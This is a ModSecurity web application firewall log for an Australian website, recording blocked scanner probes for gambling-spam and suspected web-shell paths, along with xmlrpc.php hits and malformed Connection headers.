[Fri Mar 13 11:02:02.658789 2026] [:error] [pid 9311:tid 9363] [client 65.108.125.120:48324] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "abN-KlTiCkU4QLmYwPm6tgAAAkw"]
[Fri Mar 13 11:02:05.268762 2026] [:error] [pid 44755:tid 44773] [client 65.108.125.120:48334] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abN-LfONf1H0XrBFE4PSEAAAARA"]
[Fri Mar 13 11:02:07.882932 2026] [:error] [pid 44755:tid 44764] [client 65.108.125.120:48336] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abN-L_ONf1H0XrBFE4PSEgAAAQc"]
[Fri Mar 13 11:02:10.506336 2026] [:error] [pid 44755:tid 44777] [client 65.108.125.120:5336] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "abN-MvONf1H0XrBFE4PSFQAAARQ"]
[Fri Mar 13 11:02:13.215914 2026] [:error] [pid 9311:tid 9355] [client 65.108.125.120:5344] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abN-NVTiCkU4QLmYwPm6wAAAAkQ"]
[Fri Mar 13 11:02:15.609017 2026] [:error] [pid 9309:tid 9344] [client 65.108.125.120:5354] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abN-N6o1KEMMghNWAN9jWwAAAhU"]
[Fri Mar 13 11:02:18.169627 2026] [:error] [pid 9311:tid 9372] [client 65.108.125.120:49210] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abN-OlTiCkU4QLmYwPm6xQAAAlU"]
[Fri Mar 13 11:02:20.589803 2026] [:error] [pid 9311:tid 9352] [client 65.108.125.120:49224] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abN-PFTiCkU4QLmYwPm69wAAAkE"]
[Fri Mar 13 11:02:23.258560 2026] [:error] [pid 9311:tid 9365] [client 65.108.125.120:49238] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abN-P1TiCkU4QLmYwPm7AAAAAk4"]
[Fri Mar 13 11:02:25.983582 2026] [:error] [pid 9309:tid 9329] [client 65.108.125.120:49244] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abN-Qao1KEMMghNWAN9jdgAAAgY"]
[Fri Mar 13 11:02:28.435009 2026] [:error] [pid 9309:tid 9341] [client 65.108.125.120:37638] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abN-RKo1KEMMghNWAN9jiQAAAhI"]
[Fri Mar 13 11:02:31.016622 2026] [:error] [pid 9311:tid 9364] [client 65.108.125.120:37652] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abN-R1TiCkU4QLmYwPm7HwAAAk0"]
[Fri Mar 13 11:03:01.474566 2026] [:error] [pid 9241:tid 9258] [client 65.108.125.120:31030] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abN-ZQ48xagB6AsXkJ7a_AAAAcU"]
[Fri Mar 13 11:03:04.023110 2026] [:error] [pid 61929:tid 62010] [client 65.108.125.120:31044] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abN-aDGGsow2jgUjLtyN0wAAAIY"]
[Fri Mar 13 11:03:06.574439 2026] [:error] [pid 9311:tid 9368] [client 65.108.125.120:31064] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abN-alTiCkU4QLmYwPm7RgAAAlE"]
[Fri Mar 13 11:03:09.228672 2026] [:error] [pid 9111:tid 9130] [client 65.108.125.120:49252] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abN-bU-M156SLpD2BrsYEAAAAYQ"]
[Fri Mar 13 11:03:11.778943 2026] [:error] [pid 44755:tid 44758] [client 65.108.125.120:49266] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abN-b_ONf1H0XrBFE4PS1AAAAQE"]
[Fri Mar 13 11:03:14.447706 2026] [:error] [pid 9309:tid 9325] [client 65.108.125.120:49272] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abN-cqo1KEMMghNWAN9j7wAAAgI"]
[Fri Mar 13 11:03:16.978719 2026] [:error] [pid 9309:tid 9325] [client 65.108.125.120:49288] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abN-dKo1KEMMghNWAN9j_AAAAgI"]
[Fri Mar 13 11:03:19.680165 2026] [:error] [pid 61928:tid 61980] [client 65.108.125.120:28014] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abN-dwod66AHekJJZipbnQAAAEM"]
[Fri Mar 13 11:03:22.217786 2026] [:error] [pid 9241:tid 9259] [client 65.108.125.120:28022] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abN-eg48xagB6AsXkJ7bFAAAAcY"]
[Fri Mar 13 11:03:24.591706 2026] [:error] [pid 9309:tid 9341] [client 65.108.125.120:28026] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abN-fKo1KEMMghNWAN9kCQAAAhI"]
[Fri Mar 13 11:03:26.932330 2026] [:error] [pid 9309:tid 9325] [client 65.108.125.120:28042] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abN-fqo1KEMMghNWAN9kIAAAAgI"]
[Fri Mar 13 11:03:29.576390 2026] [:error] [pid 9311:tid 9353] [client 65.108.125.120:16046] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "abN-gVTiCkU4QLmYwPm75wAAAkI"]
[Fri Mar 13 11:03:32.113717 2026] [:error] [pid 9241:tid 9275] [client 65.108.125.120:16060] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "abN-hA48xagB6AsXkJ7bFwAAAdU"]
[Fri Mar 13 11:03:34.612847 2026] [:error] [pid 9309:tid 9345] [client 65.108.125.120:16066] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "abN-hqo1KEMMghNWAN9kPQAAAhY"]
[Fri Mar 13 11:03:36.953172 2026] [:error] [pid 61927:tid 61970] [client 65.108.125.120:16072] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abN-iLLkK584eBa2J7XqFQAAABg"]
[Fri Mar 13 11:03:39.484177 2026] [:error] [pid 9311:tid 9356] [client 65.108.125.120:1754] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abN-i1TiCkU4QLmYwPm78gAAAkU"]
[Fri Mar 13 11:03:41.964327 2026] [:error] [pid 44755:tid 44758] [client 65.108.125.120:1770] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abN-jfONf1H0XrBFE4PTVgAAAQE"]
[Fri Mar 13 11:03:44.491028 2026] [:error] [pid 55077:tid 55102] [client 65.108.125.120:1778] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abN-kN9Ul5ym4M-PlQJlIQAAAVc"]
[Fri Mar 13 11:03:47.101824 2026] [:error] [pid 9309:tid 9335] [client 65.108.125.120:1794] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abN-k6o1KEMMghNWAN9kQAAAAgw"]
[Fri Mar 13 11:03:49.600042 2026] [:error] [pid 44755:tid 44757] [client 65.108.125.120:44472] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abN-lfONf1H0XrBFE4PTZgAAAQA"]
[Fri Mar 13 11:03:51.955452 2026] [:error] [pid 44755:tid 44773] [client 65.108.125.120:44474] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abN-l_ONf1H0XrBFE4PTbQAAARA"]
[Fri Mar 13 16:58:33.194361 2026] [:error] [pid 61927:tid 61951] [client 106.215.91.4:33223] [client 106.215.91.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.215.91.4, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abPRubLkK584eBa2J7X8gwAAAAU"]
[Fri Mar 13 18:54:48.755141 2026] [:error] [pid 61928:tid 62000] [client 41.221.81.38:61354] [client 41.221.81.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.221.81.38, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abPs-Aod66AHekJJZiqYbwAAAFc"]
[Fri Mar 13 19:23:58.288057 2026] [:error] [pid 61928:tid 61983] [client 101.32.15.141:37530] [client 101.32.15.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abPzzgod66AHekJJZiqb7AAAAEY"]
[Fri Mar 13 20:56:14.385636 2026] [:error] [pid 61928:tid 61979] [client 54.37.84.47:46634] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abQJbgod66AHekJJZiqlDQAAAEI"]
[Fri Mar 13 20:56:16.766213 2026] [:error] [pid 9111:tid 9147] [client 54.37.84.47:46354] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abQJcE-M156SLpD2BrtRQQAAAZU"]
[Fri Mar 13 20:56:19.138808 2026] [:error] [pid 9311:tid 9369] [client 54.37.84.47:46358] [client 54.37.84.47] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abQJc1TiCkU4QLmYwPkwpAAAAlI"]
[Fri Mar 13 21:42:43.029362 2026] [:error] [pid 60497:tid 60532] [client 223.15.245.170:44044] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abQUUxjNYgapWlkb4li1YgAAA4E"]
[Fri Mar 13 23:28:26.415078 2026] [:error] [pid 60497:tid 60543] [client 43.157.175.122:56868] [client 43.157.175.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "abQtGhjNYgapWlkb4ljR9QAAA4w"]
[Sat Mar 14 00:30:18.675875 2026] [:error] [pid 47878:tid 47951] [client 43.155.27.244:52766] [client 43.155.27.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abQ7mn8jymmmpr1jcBed9QAAAEw"]
[Sat Mar 14 01:06:36.436166 2026] [:error] [pid 47905:tid 47998] [client 4.204.233.55:29301] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/hp2.php"] [unique_id "abREHBaYZayP4o4wpJcY0gAAAUU"]
[Sat Mar 14 01:06:37.265514 2026] [:error] [pid 47905:tid 48006] [client 4.204.233.55:29282] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/hp2.php"] [unique_id "abREHRaYZayP4o4wpJcY1wAAAU0"]
[Sat Mar 14 01:06:38.097311 2026] [:error] [pid 47905:tid 48012] [client 4.204.233.55:29185] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/hp2.php"] [unique_id "abREHhaYZayP4o4wpJcY2wAAAVM"]
[Sat Mar 14 01:06:38.932871 2026] [:error] [pid 47905:tid 48013] [client 4.204.233.55:29308] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/hp2.php"] [unique_id "abREHhaYZayP4o4wpJcY4AAAAVQ"]
[Sat Mar 14 01:51:59.546345 2026] [:error] [pid 47891:tid 47988] [client 20.151.4.179:61962] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "abROv_chNnuMqi7I_WECCAAAAJY"]
[Sat Mar 14 01:52:00.398598 2026] [:error] [pid 47891:tid 47985] [client 20.151.4.179:61996] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "abROwPchNnuMqi7I_WECDwAAAJM"]
[Sat Mar 14 01:52:01.237901 2026] [:error] [pid 47905:tid 48006] [client 20.151.4.179:10247] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "abROwRaYZayP4o4wpJctaQAAAU0"]
[Sat Mar 14 01:52:02.057327 2026] [:error] [pid 47878:tid 47961] [client 20.151.4.179:61952] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "abROwn8jymmmpr1jcBey1QAAAFY"]
[Sat Mar 14 05:32:06.577112 2026] [:error] [pid 3914:tid 4002] [client 65.108.2.171:23318] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abSCVvH_HeUqa_sn9-AI4QAAAJI"]
[Sat Mar 14 05:32:09.305248 2026] [:error] [pid 3914:tid 4007] [client 65.108.2.171:23330] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abSCWfH_HeUqa_sn9-AI6AAAAJc"]
[Sat Mar 14 05:32:11.937387 2026] [:error] [pid 3913:tid 3958] [client 65.108.2.171:23332] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abSCWx9qvQd4GQHUp6_9KAAAAEE"]
